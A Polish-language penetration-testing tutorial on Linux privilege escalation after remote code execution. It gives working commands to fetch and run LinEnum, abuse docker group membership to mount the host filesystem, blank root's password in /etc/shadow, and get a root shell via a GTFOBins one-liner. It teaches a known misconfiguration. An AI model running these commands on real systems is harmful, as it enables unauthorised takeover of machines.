Po znalezieniu podatności pozwalającej nam na remote code execution w systemie linux w większości wypadków nie będziemy mieli uprawnień root-a. W tym poście postaram się opisać jedną z metod eskalacji uprawnień. Wykorzystamy tu narzędzie LinEnum - https://github.com/rebootuser/LinEnum
W celu pobrania i uruchomienia LinEnum wykonujemy polecenie
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x
./LinEnum.sh
Po kilku minutach na ekranie powinniśmy zobaczyć obszerny wynik działania skryptu z informacjami odnośnie systemu, użytkowników i ich uprawnień. W przypadku który opiszę skupimy się na tej części wyniku skryptu:
[+] We're a member of the (docker) group - could possibly misuse these rights!
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),998(docker)
Wygląda na to, że użytkownik został dodany do grupy “docker” np poprzez użycie komendy:
sudo usermod -aG docker $USER
Jak możemy to wykorzystać? Najprostszym sposobem będzie utworzenie dockerowego kontenera z zamontowanym systemem plików całej maszyny.
docker run -v /:/mnt -it alpine
System plików maszyny zamontowany jest w folderze /mnt . Edytujemy więc plik /mnt/etc/shadow
vi /mnt/etc/shadow
a następnie usuwamy hasło użytkownika root poprzez skasowanie “x” znajdującego się po pierwszym dwukropku
Przed:
root:x:18906:0:99999:7:::
Po usunięciu
root::18906:0:99999:7:::
Wychodzimy z utworzonego kontenera komendą “exit” a następnie przełączamy się na konto root-a którego hasło uprzednio skasowaliśmy
exit
su - root
Jeżeli wszystko przebiegło zgodnie z planem posiadamy już dostęp do konta administratora maszyny i jesteśmy w stanie przeprowadzić dalszą część naszych testów bezpieczeństwa.
Alternatywną drogą zdobycia uprawnień administratora jest skorzystanie z GTFOBins Jest to lista plików binarnych które mogą być używane do ominięcia lokalnych ograniczeń bezpieczeństwa w źle skonfigurowanych systemach.
Po wejściu na stronę klikamy na przycisk “Sudo” i znajdujemy tam binarkę docker-a. Na samym dole strony pokazana jest komenda którą należy wykonać w celu eskalacji uprawnień
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
W wyniku wykonania komendy jesteśmy automatycznie przełączani na shell-a konta root.
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)